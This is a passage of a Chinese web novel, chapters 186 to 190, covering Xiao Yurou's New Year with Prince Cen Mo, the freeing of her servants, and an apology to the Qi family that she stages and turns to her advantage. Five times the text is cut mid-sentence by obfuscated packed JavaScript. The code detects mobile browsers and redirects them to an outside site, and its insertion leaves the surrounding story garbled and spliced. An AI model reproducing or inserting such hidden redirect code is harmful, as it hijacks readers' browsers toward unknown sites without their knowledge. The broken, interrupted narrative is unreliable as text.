炭火烧得正旺,铜制的暖炉里,炭火发出细微的噼啪声,将整个房间烘得温暖如春。 萧语柔坐在雕花楠木桌前,望着窗外纷飞的雪花,嘴角挂着一丝浅笑。窗棂上结了一层薄霜,将外面的世界勾勒得如同水墨画般朦胧。 紫萱轻手轻脚地走到萧语柔身后,替她拍去斗篷上沾染的雪花。一旁的林婆子正絮絮叨叨地说着阿正的事,声音里满是欣慰。 第一百八十六章 痴心一片 “王爷,过年我们一起放烟花好不好?”她一脸期待的看着岑陌,“还可以放爆竹、堆雪人、打雪仗...” 萧语柔笑眯眯地看着他,想象着这位一举一动都透着贵气的王爷,和孩子们一起玩闹的模样。那画面光是想想就让人忍俊不禁。 岑陌的动作有一瞬的僵硬。但很快又恢复常态。“好。” “王爷以前可玩过这些?” “想知道?” “随口问问罢了。”见他转移话题,萧语柔也不追问,转而询问他的饮食喜好。 暖阁内安静了许久,只听得见窗外的风声。岑陌望着窗外飘落的雪花,轻声道:“小时候除了习武看书,就是被关在黑暗中。从未有人陪我玩过。所以到时要靠阿柔了。” “当然...”话未说完,便吻上了萧语柔的唇。 岑陌在她唇上辗转,低笑道:“就是要这样玩,阿柔可记住了?” 萧语柔不甘示弱,在他唇上咬了一口。 刚回来的晏澜看到这一幕,连忙拉着宓漠逃离。 回程路上,晏澜几次欲言又止,还时不时偷瞄萧语柔一眼。 萧语柔叹了口气:“大表哥有话直说。” 晏澜支支吾吾半天,终于鼓起勇气:“表妹,你和王爷...那个...我是说...” “我们没什么事。” “没什么事?没什么事你们俩都......都......” 萧语柔看着他窘迫的样子,不禁莞尔。她知道,这个单纯的表哥是在担心自己。但有些事,她暂时还不能告诉他。 马车缓缓驶过街道,雪花纷纷扬扬地落下来,将整个龙都笼罩在一片银白之中。萧语柔望着窗外,思绪却飘到了很远的地方。 她想起岑陌方才提到的黑暗,心里泛起一阵酸涩。那个高贵优雅的王爷,在别人看不见的地方,究竟经历过怎样的痛苦? 从今往后,无论前路如何,她都会陪在他身边,让他的世界不再只有黑暗。 萧语柔站在庭院里,寒风吹起她的衣袖,手中的暖炉却驱散了几分寒意。 “我说妹妹,”晏澜搓了搓手,眉头紧锁,“你与王爷的事情...” “大表哥,”萧语柔打断他的话,眼中带着几分无奈,“你都问了多少遍了?” 晏澜却不依不饶:“你是不知道,这些日子王爷在朝堂上的样子,连太玉郢都看出端倪来了。”他压低声音,“前日他还特意问我,说王爷是不是遇到什么难事了。” 萧语柔轻轻叹了口气,抬头看向远处的梅树。寒冬腊月,那树上却开出一朵朵傲雪的红梅,衬得整个院玉郢多了几分生机。 “大表哥,”她转过头,目光清澈,“你觉得我像是那种负心薄幸之人?” “这倒不是。”晏澜连忙摆手,“只是王爷他...” “王爷怎么了?” “太可怜了。”晏澜叹了口气,眼中满是担忧,“这些年来他一直洁身自好,从不近女色,如今好不容易...”说到这里,他又住了口,仿佛觉得这话不该由他来说。 萧语柔看着这位从小疼爱自己的表哥,心中涌起一丝暖意。 “大表哥放心,”她柔声道,“我心里有数。” 晏澜还想说什么,却见紫萱从小路匆匆而来。见到叶辰在场,立即收敛了神色,只是上前替萧语柔换了个新的暖手炉。 “外头寒气重,小姐还是早些回去喝杯姜茶暖暖身子。”紫萱轻声提醒。 萧语柔敏锐地察觉到紫萱神色有异,便点头应了:“也好。” 待与晏澜叶辰告别,往幽谷走去时,紫萱这才压低声音:“郗澜传来消息,赵丞相府的人刚刚去柳家说亲事了。” “哦?”萧语柔眉头微挑,脚步却未停,“说说看。” “这事是谷家大小姐想出来的。”紫萱快步跟上,“前几日她在书房见了赵明远,一开始赵公子死活不同意,谁知道后面他突然就答应了。听说,柳家那边态度也很积极。” “还有别的吗?” “郗澜说其他事不便与奴婢说,若小姐得空,他还在那个地点等你呢。”紫萱顿了顿,“不过...” “嗯?” “奴婢听说,柳家最近在暗中打探宁远伯府的事。” 萧语柔微微蹙眉:“打探什么?” “具体不清楚,只知道派了几个人在府外转悠。”紫萱压低声音,“要不要让郗澜...” “不必。”萧语柔摆摆手,“让他们查去。” 说话间两人已到了幽谷门口。萧语柔望着院中那株老梅,轻声道:“明日便是除夕,你们全体休沐半日,不必在府上当值。” 紫萱眼中一亮。 “多梁小姐。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720863|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后不必这般拘谨。”萧语柔温声道,“你跟了我这么久,早就不是外人了。” 紫萱眼圈微红:“奴婢明白了。”她犹豫片刻,“奴婢想趁机回趟老家,还望小姐应允。” “老家还有亲人?” “都没了。”紫萱笑道,眼中却闪过一丝黯然,“只是当年尚未来到小姐身边之前,村里人待我们兄妹极好。如今攒了些银钱,想着能帮衬一二,也算报了这份恩情。” 萧语柔看着这个跟了自己多年的丫鬟,心中一软:“去吧,多带些银钱。” “小姐...” “拿着。”萧语柔从袖中取出一个钱袋,“就当是我给你的年礼。” 紫萱接过钱袋,眼泪终于落了下来。 待用过晚膳,萧语柔便从密道出了府。 这条密道是当年公主府留下的,只有极少数人知晓。出了密道便是一条僻静的小巷,郗澜正悠哉地坐在马车外饮酒。 “来了?”他举起酒壶,“要来一口吗?” 萧语柔摇摇头:“有什么好消息?” “萧瑾已经遇上慕老将军了,”郗澜放下酒壶,“明早就能入京。” 萧语柔眼前一亮:“太好了...” “星朗呢?那可是你亲弟弟,平日里也不见你多问。”郗澜打趣道。 “不能问。”萧语柔神色一正,“在我这里,他越是个透明人,才越安全。” 郗澜看她眼中难掩的喜色,又灌了口酒:“大衍那边的消息很快就会送到龙都。对了,我打算扩充人手,需要银子。” “要多少?” “置办地方,养活人手,至少得两万两。” 这可不是小数目,就是宁远伯府这样的世家,一年用度也不过五千两。当然,若是像穆氏那般挥霍,五万两银子打水漂了。 萧语柔却毫不犹豫地点头:“两万够吗?培养自家的嫡系,不可太过苛刻。要不再来五千两银子?” 郗澜愣了愣:“头一回见你这么大方。” “我信你。”萧语柔浅笑,“你的心思,都该用在我交代的事上。” 郗澜一口酒差点呛住:“你就不能说点好听的?” “我们做生意的,向来如此。”萧语柔道,“不过这笔银子就不必从梨竹那支了,他要去西北,也要用钱,锦绣坊还得留些周转。明日直接找我来取吧。” 第一百八十七章 认祖归宗 “阿正这孩子,真是争气。前几日考了个童生,先生都夸他聪明伶俐呢。”林婆子说着,眼角的皱纹都笑开了花。 紫萱将斗篷挂好,笑着接话:“小姐待我们,向来宽厚。若不是小姐资助阿正读书,哪有今日这般光景。” 萧语柔转过身来,目光柔和地看着两人:“你们都是我最重要的人,何来下人之说。”她起身走到描金雕花的楠木柜边,取出两个精致的匣子,“这是给你们准备的年礼,除了例行的打赏,还有你们的**契。” 林婆子一听这话,双手顿时颤抖起来,眼中泛起泪光。 “林婆子家中有孙儿要读书,不该受贱籍所累。”萧语柔将其中一个匣子递给林婆子,又看向紫萱,“紫萱有兄长依靠,更不该受这束缚。” 林婆子急忙打开匣子,当看到那张熟悉的**契时,顿时老泪纵横,扑通一声跪在地上:“小姐大恩大德,奴婢没齿难忘!” 紫萱却迟迟没有去接那匣子,眼神闪烁:“小姐,奴婢不想要**契......” 萧语柔看着她欲言又止的模样,忽然笑道:“对了,听说邬洵要入京述职了。” 紫萱脸颊顿时飞上两朵红云,低着头不敢看人。 待下人们退下,陆妈妈坐在一旁的圈椅上,看着如今的萧语柔,眼中满是感慨。昔日那个需要人保护的小姑娘,如今已经能独当一面了。 “嬷嬷,我想在龙都置办个宅院。”萧语柔轻声说道,目光落在窗外飘落的雪花上。 陆妈妈微微一怔:“小姐是觉得继续住在侯府不妥?” “是啊,父母之仇已明,我也该搬出去了。”萧语柔的声音很轻,却带着不容动摇的坚定。 她的目光落在一旁正在吃点心的萧星朗和萧瑾身上:“还有一事,我想让萧瑾认祖归宗。” 萧瑾闻言,手中的点心掉在了桌上,眼中闪过一丝慌乱。 “姐姐......” “你既唤我一声姐姐,又何必遮遮掩掩?”萧语柔温声道,“堂堂正正做我弟弟便是。” 陆妈妈听完萧语柔讲述大伯一家的所作所为,气得直拍桌子:“这些白眼狼!当年老爷和夫人待他们那般好,如今却......” “所以,咱们不如自己建立门户,将我爹娘供奉起来。”萧语柔说道。 夜幕降临,众人聚在福寿堂用团年饭。厨房里飘来阵阵香气,丫鬟们来来往往端着菜肴,整个院子里洋溢着节日的喜庆。 饭后,院子里摆了戏台子,众人围坐观戏。萧语柔坐在主位上,看着台上的花旦唱得婷转动听,不时与身边的人低声交谈。 夜色渐深,院子里开始放爆竹。岑陌忽然望向暗处,眉头微皱。 “怎么了?”萧语柔察觉到他的异样,轻声问道。 “无事。”他接过她手中的爆竹,轻轻一抛。 “嘭”的一声响,新年到了。 岑陌带着萧语柔跃上屋顶,远处万家灯火,近处爆竹声声。她在他臂弯里安睡,静静守岁,看着天边渐渐泛起鱼肚白。 第二日醒来,紫萱告诉她,王爷一大早就去了福安寺。 秦氏和晏夫人在厨房包饺子,萧语柔则陪老夫人说话。 “语柔,让华华去你院里伺候如何?”老夫人拉着萧语柔的手问道。 萧语柔微笑摇头:“不如让她跟着五姐姐吧。五姐姐性子温和,华华跟着她正好。” 正说着,外面传来一阵脚步声。抬头望去,只见岑陌正从外面进来,身上还带着寒气。 “怎么这么快就回来了?”萧语柔起身给他倒了杯热茶。 岑陌接过茶杯,目光在她脸上停留片刻:“福安寺香火旺盛,怕赶上人多,早早就拜完了。” 萧语柔笑了笑,没有多问。她知道,岑陌这是怕她担心,才早早赶回来的。 老夫人看着两人的互动,满意地点点头。 院子里,丫鬟们正在挂灯笼,准备晚上的灯会。萧语柔站在廊下,看着忙碌的众人,心中涌起一股暖意。 这一年,经历了太多风波,但好在,最后都祥宁度过。新的一年,希望能够风调雨顺,岁月静好。 叶琳站在廊下,望着眼前的丫环,眉头微微蹙起。 华华是苏妈妈的亲孙女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725081|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在老夫人心中的地位不言而喻。这样一个得力的丫环,怎么会来伺候她这个透明人一般的五小姐?叶琳心中疑惑,目光不自觉地瞥向一旁的七妹妹。 “奴婢华华,见过小姐。”华华福了福身,声音轻柔恭敬。她偷偷打量着新主子,见对方神色温和,紧绷的肩膀稍稍放松。 叶琳连忙起身还礼,目光掠过老夫人平静的面容,轻声道:“跟着我怕是没有在祖母身边这般舒坦。” “华华是下人,不怕吃苦的。”华华低垂着头。她听说过五小姐的性子温和,此刻亲眼见到,倒是比传闻中更让人心安。 老夫人靠在软榻上,眼角余光扫过萧语柔含笑的面容。这个外孙女向来聪慧,今日这一手安排,确实两全其美。华华需要一个善待她的主子,叶琳也需要一个得力的丫环。 屋内檀香袅袅,老夫人揉了揉太阳穴:“坐了大半日,有些乏了。你们且退下吧。” “七妹妹,多谢你。”走出院子,叶琳拉住萧语柔的手,眼中满是感激。 萧语柔轻轻拍了拍她的手背,“五姐姐客气了。华华性子机灵,往后有什么事,也好有个照应。” 叶琳看着这个外表柔弱却心思玲珑的七妹妹,既羡慕又感动。她总能在不经意间给予别人温暖,却又不会让人觉得受了恩惠般难堪。 转眼过了十余日。 朝中百官即将复朝,皇上的銮驾也要回宫。龙都渐渐恢复了往日的热闹,街头巷尾飘散着各色小贩的吆喝声。 萧语柔正忙着寻找合适的宅院,岑燕燕却在此时回来了。那只斗鸡依旧神气活现,胸前的羽毛比走时更显鲜亮,想必在外头过得不错。 然而让人意外的是,岑燕燕一回京就和齐婉打了一架。齐家小姐双眼青肿,齐太傅以此为由告假在家,惹得皇上震怒,下令岑燕燕必须亲自登门道歉。 “我不去!”岑燕燕坐在幽谷的石凳上,眼圈泛红,“语柔,你不知道那齐婉有多可恶,她居然诅咒我父王死在北陲。我已经很克制了,要不是记着你的话,我非撕烂她的嘴不可。” 她攥紧拳头,指节泛白,显然是气得不轻。 第一百八十八章 上门道歉 萧语柔挑眉:“外头传的可不是这样。都说你因为齐婉的马车挡了路,就动手**。”她端起茶盏,轻轻吹散漂浮的茶叶。 “我有那么不讲理吗?”岑燕燕气得直跺脚,“以前是喜欢吓唬人,我还没真下狠手呢。” 萧语柔放下茶盏,看着她气鼓鼓的模样,轻叹一声:“皇上已经下了口谕,不去就等着被**吧。”她沉吟片刻,“这样吧,我陪你去。你就当面对着花花草草,敷衍一句就是。若她不依,有我替你应付。” “当真?”岑燕燕眼睛一亮,像是抓住了救命稻草。 “自然当真。”萧语柔点头。 “呜呜呜,谢谢你。”岑燕燕扑过来抱住她,眼泪鼻涕一起往下掉。 萧语柔嫌弃地躲开:“别把鼻涕蹭我身上。” 两人打闹一阵,岑燕燕这才下定决心,和萧语柔一同前往齐府。 齐家在京中也算书香门第,家族曾经显赫一时,现在也混进了翰林院。 府邸极具江南风韵,小桥流水,雅致非常。院墙上爬满了藤萝,在春风中轻轻摇曳。 岑燕燕和萧语柔刚到门口,立马有仆人迎了上来,笑道:“两位贵人来得不是时候,夫人带着小姐去萧太医家看病了。” 这哪里是不巧,分明是存心刁难。 岑燕燕正要发作,萧语柔已经笑吟吟道:“无妨,郡主是来赔罪的,我们就在此等候便是。”她的语气轻松,仿佛真的不在意。 下人面露为难:“这...不知夫人几时回来,不如郡主明日再来?” 萧语柔按住暴躁的岑燕燕,笑意不减:“不必了,咱们在这里等到天亮。”她转头吩咐林婆子,“去借两把凳子来,咱们守在门前候着。” 于是,一位郡主一位县主,就这么大喇喇地坐在齐府大门口。来往的行人纷纷侧目,有认出她们身份的,更是驻足观望。 萧语柔还体贴地让人把马车挪开,免得挡了齐府的门路。她悠闲地摇着团扇,时不时和岑燕燕说笑几句。 岑燕燕也看出了萧语柔的意图,开始了她的表演。 “都怪我太冲动,就算齐小姐说我父王会战死沙场,我也不该动手。”她故意提高声音,让过往的行人都能听见。 “唉,现在只剩后悔了。”她叹气的声音格外响亮。 “父王在北陲确实凶险,我怎么就不能容人说几句呢?” 周围的街坊邻居们听了窃窃私语,有人摇头叹息,有人暗暗称快。 下人们一看情形不对,慌忙回去报信。 齐夫人听闻后,脸色顿时难看起来。她坐在内室,手中的帕子几乎要被绞碎。 “娘,她们是故意的!”齐婉捂着肿胀的眼睛怒道。眼圈的淤青还未消退,看起来格外狼狈。 齐夫人更是气的咬牙切齿,事情已经完全超出她的掌控。原本该是她们占理,现在反倒成了齐家欺压皇亲。更要命的是,岑燕燕方才那番话若是传出去,齐家就真的百口莫辩了。 无奈之下,齐夫人只得带着齐婉从后门悄悄绕出去。她们小心翼翼地避开行人,生怕被人认出。 谁知刚出后门,就听林婆子高声道:“哟,这不是齐家夫人和小姐吗?不是去看大夫了,怎么从后门出来了?” 街坊邻居纷纷探头张望,对她们指指点点。 齐夫人强作镇定,额头却已渗出细密的汗珠:“是下人传错了话,我们早就回来了。适才听说后门有可疑之人,出来查看一番。” 林婆子笑眯眯地看着她们进退两难的模样。 不多时,齐夫人母女只得从大门匆匆而来,迎面撞上岑燕燕声情并茂的忏悔。 “想必是苍天见证了本郡主一片赤诚,护送你们母女平安回府了?” 岑燕燕慵懒地靠在马车边,眼中闪烁着玩味的光芒。 齐婉站在府门前,指甲深深掐进掌心。她万万没想到,自己精心设计的这一出戏,竟被人如此轻易地戳破。 “郡主说笑了。”齐夫人强压着怒意,脸上堆起谄媚的笑容,“实在是小女身子不适,这才去萧太医那里检查一下。” 说着,她又将那番说辞重复了一遍,可那双眼睛却不安分地在萧语柔脸上打量,似乎想看出些什么端倪。 “原来是这样。”萧语柔轻笑一声,眉眼间尽是温柔,“既然是个误会,那倒也好说。我与萧太医颇有几分交情,齐小姐既然身子不适,顶着寒风两头跑,怎么说都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725082|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥当。” 她转头唤道:“来人。” “小姐。”紫萱立刻从马车后面走出来,恭敬地应声。 “去把我的拜帖送到萧府,就说齐小姐身子不适,请萧太医多费心,往齐府多走动便是。”萧语柔的声音轻柔,却带着不容置疑的威严。 紫萱立刻领命而去。 齐夫人心头一颤,手指不自觉地绞紧了帕子。这位乐宁县主,当真是好手段!短短几句话,就将她们母女精心设计的局面彻底打乱。 齐婉脸色铁青,今日这出戏,是彻底唱不下去了。她死死盯着萧语柔,眼中的怨毒几乎要溢出来。 “齐小姐这般看着我,莫非是觉得我多管闲事?”萧语柔微微一笑,目光在齐婉脸上扫过,“我只是为了你的身子着想罢了。” 齐夫人见女儿还在瞪着萧语柔,连忙给她使眼色。可齐婉却像是没看见一般,倔强地扬着下巴。 “齐夫人的眼睛不舒服?”萧语柔笑意盈盈,“要我替你瞧瞧吗?” “不必了。”齐夫人咬牙道,拉了拉女儿的衣袖。 “既然如此,不知郡主的道歉,齐家可觉得诚意十足?”萧语柔的声音依旧温柔,却让人如坐针毡。 “自然,自然。”齐夫人强挤出一丝笑容,“二位要不要进府坐坐?” “不必了。”萧语柔拉住还想往里闯的岑燕燕,“既然误会已解,我们也该告辞了。” 马车缓缓驶离,留下齐婉母女站在寒风中。不多时,齐夫人收到消息,说齐太傅要见她。她拉着齐婉,脸色阴沉地往书房去了。 书房内,齐太傅正在来回踱步,听到脚步声,立刻转身怒视着她们母女:“你们好大的胆子!” “老爷...”齐夫人刚要开口,就被齐太傅一个眼神制止。 “我早就告诉过你们,不要去招惹定王府的人!”齐太傅气得胡子直颤,“现在好了,把事情闹得人尽皆知,你们可知道这会给我带来多大的麻烦?” 齐婉咬着嘴唇,眼中含着泪水:“父亲,女儿也是为了...” “为了什么?”齐太傅冷笑一声,“为了你那点可笑的面子?为了报复萧语柔?你可知道她背后站着谁?” 第一百八十九章 齐太傅晕倒 马车上,岑燕燕还在惋惜:“语柔,为何拦住我不让进?她们那副表情,我还想多看看呢。” “你进去才正中她们下怀。”萧语柔轻声道,手指轻轻抚过窗边的流苏,“从一开始,齐夫人就想给我们下套。若不是她们母女自作聪明,今日这场"道歉",也不会这般容易。” 岑燕燕眼睛一亮:“你是说,她们想效仿我们的手段?” “入了齐府,发生什么事,还不是任她们一张嘴说了算?”萧语柔淡淡道,“况且,她们背后的人,怕是早就等着这个机会。” “她们敢!”岑燕燕握紧了拳头。 “若是不敢,也不至于闹到如今这般田地。”萧语柔叹了口气,目光望向窗外飘落的雪花,“只是不知道,这场雪过后,龙都又要掀起怎样的风波。” 岑燕燕脸色渐渐沉了下来:“他们这是,欲除掉我父王?” 萧语柔没有说话,只是轻轻摇了摇头。齐家意外卷入此事,背后究竟是谁在推波助澜,还需要好好查一查。 第二日,朝堂之上,齐太傅遭梁御史参奏一本。早朝刚开始,梁御史就拿着奏折站了出来,声音洪亮地念着齐太傅的种种不当之处。 与此同时,齐婉母女的丑事也被传了出去。一时间,避齐家如避蛇蝎者众。就连平日里与齐家交好的几家,也都借故推脱,不再来往。 齐太傅下朝后,在宫门口等候岑陌。寒风中,他的身影显得格外萧索。 “还请王爷开恩。”他顾不得其他官员异样的目光,向岑陌行礼,“下官入朝为官数十载,向来谨小慎微,不敢有半分差错。这不过是小女与郡主的一点误会,下官已经严厉责罚了内子...” 周围的官员都放慢了脚步,竖起耳朵等着听八卦。 岑陌冷眼看他:“你是觉得,本王指使了梁御史,还是指使了萧太医?” 四周顿时一片寂静。 梁御史位居言官之首,萧太医更是掌管皇上龙体,这两个位置,岂是谁都能指使得动的?齐太傅这话里的意思,分明是在质疑定王的为人。 齐太傅脸色一变,额头上渗出冷汗:“下官不是这个意思...” “那是什么意思?”岑陌声音冰冷,目光如刀,“是想说本王滥用权势,还是说你因为一点颜面,就要来找本王的麻烦?” 众臣惊愕,这还是那个向来不屑解释的三皇子吗?往日里,岑陌对这些流言蜚语向来置之不理,今日怎么会如此动怒? “为太傅者,当以身作则,明辨是非。齐太傅,扪心自问一番,做到了几分?”岑陌的声音在寒风中格外清晰。 话音未落,齐太傅便两眼一黑,栽倒在地。周围的官员一阵骚动,有人连忙上前搀扶,有人则悄悄后退,生怕惹祸上身。 消息很快传遍龙都,说齐太傅被定王几句话骂得晕了过去。坊间议论纷纷,有说定王太过霸道的,也有说齐太傅咎由自取的。 暖阁中,萧语柔一边插花,一边听岑燕燕说着朝堂上的事。窗外寒风呼啸,屋内却暖意融融。 “齐太傅也太弱了,”岑燕燕抱着她的小鸡,撇了撇嘴,“被说几句就晕倒,害得定王哥哥背了个骂人的名声。” “听说皇上知道此事,也很是意外。”梁暮雪接话道,手中的绣针轻轻穿梭,“父亲说,这事怕是没完。” 郗韵靠在软枕上,转而问起梁暮雪的亲事:“听说赵家来提亲了?” “父亲拒绝了。”梁暮雪小心翼翼地看了眼岑燕燕,生怕触及什么禁忌。 “推掉赵家的提亲难如登天。”郗韵若有所思地说道。 岑燕燕撇嘴:“赵丞相手握大权,赵明远才名远播,长得还好看。可惜,他是个痴情种,心里装着旧情人,嫁给他注定遭罪。” 梁暮雪松了口气:“父亲其实不知赵公子的心意,只是觉得,柳家与赵家,最好不要结亲。” 几位小姐正说着话,吕怀玉来接郗韵。他站在门口,目光温柔地看着自己的妻子。 岑燕燕还在羡慕地说着什么,郗韵只是礼貌一笑,便随丈夫离开了。 “听说怀远伯府那边最近闹得沸沸扬扬。”梁暮雪端着茶盏,眼神飘向庭院深处的海棠树,压低了声音说道。 萧语柔正在逗弄笼中的画眉,闻言手上的动作顿了顿:“什么事让你这般神神秘秘?” “那位有了身孕的姨娘,被送去乡下了。”梁暮雪放下茶盏,指节轻轻敲击着桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732329|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“听说是连夜收拾的行李,连告别都来不及就被打发走了。” “阮大公子竟然同意了?”萧语柔挑了挑眉,有些意外地转过身来。她记得那位姨娘可是阮大公子从小一起长大的玩伴,情分不浅。 梁暮雪摇头,面露无奈:“哪里是他同意,是怀远伯夫人发了大脾气。听说当晚把阮大公子叫到书房,训斥了整整一个时辰。连怀远伯都坐不住了,亲自下的命令。” “这...”萧语柔想起方才在街上偶遇郗韵时,那张强撑笑容的脸。眼底的疲惫和憔悴,怎么也掩饰不住。一时间,心头涌上一阵酸涩。 岑燕燕坐在一旁的软榻上,怀里抱着她那只闹脾气的小鸡,冷哼一声:“这就是嫁人的下场。我看着都害怕,还是不嫁的好。” “韵姐姐已经算是幸运的了。”梁暮雪叹了口气,“至少公婆明事理,没有偏袒那位姨娘。阮大公子虽然优柔寡断了些,但也知道进退。” “幸运?”岑燕燕将怀里的小鸡放到地上,冷笑着站起身,“若真把她当回事,当初就不该由着那姨娘在府上招摇。阮大公子更是个没担当的,这边伤了姨娘的心,那边又辜负了韵姐姐。” “那依郡主看,什么样的男子才配得上你?” 突如其来的男声让岑燕燕浑身一僵。她猛地转过头,看到谷柏正倚在门框上,唇边挂着似笑非笑的表情。 阳光从他身后斜斜地照进来,在地上投下一道修长的影子。岑燕燕看着那道影子,莫名觉得刺眼。 “反正不是你这种人。”她哼了一声,别过脸去。 “我怎么了?”谷柏走进屋内,一脸无辜地摊手,“我可没打算养小妾,也不会让未来的妻子受委屈。” 岑燕燕懒得理他,随手抱起地上的小鸡就要离开。小家伙似乎感受到主人的情绪,也不安分地扑腾起来。 “我是来找晏澜的。”谷柏收起玩笑的神色,转向萧语柔解释道。 萧语柔让丫鬟带他去找晏澜,却见他临走前又意味深长地看向梁暮雪:“梁小姐当真不考虑赵家?” “不考虑。”梁暮雪语气坚决。 谷柏若有所思地点点头:“那改日来谷府坐坐,家母一直想见见你。” 第一百九十章 赵明远的纠缠 梁暮雪刚松了口气,转身就看到赵明远和柳紫紫守在府门口。 “梁小姐。”赵明远上前一步。 “赵公子还有事?”梁暮雪强压下心中的烦躁。 “我想跟你谈谈。”赵明远看了眼四周,“单独谈。” 梁暮雪见他一副不谈不罢休的架势,只得屏退左右。 “你为何不愿意考虑我们的婚事?叶辰他...” “若说叶辰不配,你更不配。”梁暮雪毫不客气地打断他的话,“请赵公子**这条心吧。” 说完,她头也不回地上了马车。 柳紫紫见状,立刻凑到赵明远身边:“表哥,我觉得梁暮雪配不上你。她之前被掳走又被定王救回,名声早就...” “住口!”赵明远厉声打断她,“身为女子,怎能这般轻贱他人清白?若是让旁人听去,岂不是坏了梁小姐的名声?” 柳紫紫被训斥得脸色通红,咬着唇退到一旁。赵明远看着远去的马车,眼中闪过复杂的情绪。 萧语柔坐在暖阁里,听着郗澜的汇报。 “那位杨婧可不简单。”郗澜递上一叠信件,神色凝重,“她在大衍不仅开遍了店铺,还建立了"七星阁"这样的情报组织。据说,连朝中重臣都对她忌惮三分。” 萧语柔翻看着信件,心中暗惊。这七星阁,不正是上辈子墨凌霄投奔的**组织吗?难怪当初能在短时间内崛起,原来背后是杨婧在操控。 “七星阁现在是什么性质?”她放下信件,若有所思。 “专门接**的生意,专挑达官显贵下手。”郗澜压低声音,“最近几年,不少得罪过杨婧的人都莫名其妙地**。虽然查不到证据,但人人都知道是七星阁干的。” 萧语柔取出一颗青霜月光石,在掌心轻轻把玩:“你拿着这个,去试探七星阁。就说是我送的见面礼。” “墨王那边可有动静?”她又问道。 “整日在府中装疯卖傻,倒是把废物王爷的角色演得入木三分。”郗澜冷笑一声,“连府上的下人都不把他放在眼里。” 萧语柔眸光一冷:“那位周其富呢?” “自从明泽公主死后,再无半点破绽。”郗澜叹息道,“能做到这种地步的人,背后必定不简单。恐怕...” “你会因为对手强大就放弃吗?”萧语柔打断他的话,眼神锐利。 郗澜苦笑:“若会放弃,我也不会为了给妹妹报仇,搞丢了这官职。只是这周其富,比我想象中还要难对付。” 萧语柔站起身,走到窗前。“难对付,那我们就慢慢来。” 正月十五的夜色,笼罩着整座皇城。 宫灯如星,将宫墙内外照得通明,映照着来往宾客的衣袂翩翩。空气中飘散着檀香与梅花的清雅,混合着远处传来的丝竹之声。 萧语柔跟着秦氏一行人进宫赴宴,身边是岑燕燕和叶琳。 “今年的元宵宫宴倒是办得热闹。”岑燕燕东张西望,一路上都在感叹宫中的装饰,“你看那些花灯,比往年精致多了。” 萧语柔轻轻应了一声,目光扫过两旁的宫女太监。他们行走如风,神色恭谨,却让人感觉到一丝不同寻常的紧张。 宴会厅内已经来了不少人,觥筹交错间,三三两两聚在一起低声交谈。 “语柔!”熟悉的声音传来,郗韵从人群中走出。她今日穿了一袭淡紫色的锦裳,更显得气质出众。 “韵姐姐。”萧语柔福了福身,注意到郗韵眼底的担忧。 郗韵拉过萧语柔的手:“你们刚到?”她的目光在岑燕燕身上停留了片刻,眸中情绪难辨。 岑燕燕天真地凑上前:“韵姐姐,你们在说什么呢?看起来挺热闹的。” “还能说什么,”郗韵压低声音,四下张望了一下,“今晚皇上怕是要指婚了。” 萧语柔心头一紧。她下意识地看向岑燕燕,后者还在一脸茫然地追问。 “指婚?指谁啊?”岑燕燕眨着大眼睛问道。 郗韵意味深长地看了她一眼:“京中适龄的闺秀才俊那么多......”她的话未尽,却已说明一切。 殿内的气氛愈发凝重,即便是那些歌舞表演也无法冲淡这种压抑。萧语柔注意到,太子岑涛正与几位大臣低声交谈,眉头微蹙。而礼王则独自饮酒,眼中闪烁着危险的光芒。 等郗韵离开后,萧语柔拉着岑燕燕到一处安静的角落:“郡主,你是不是有对象了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 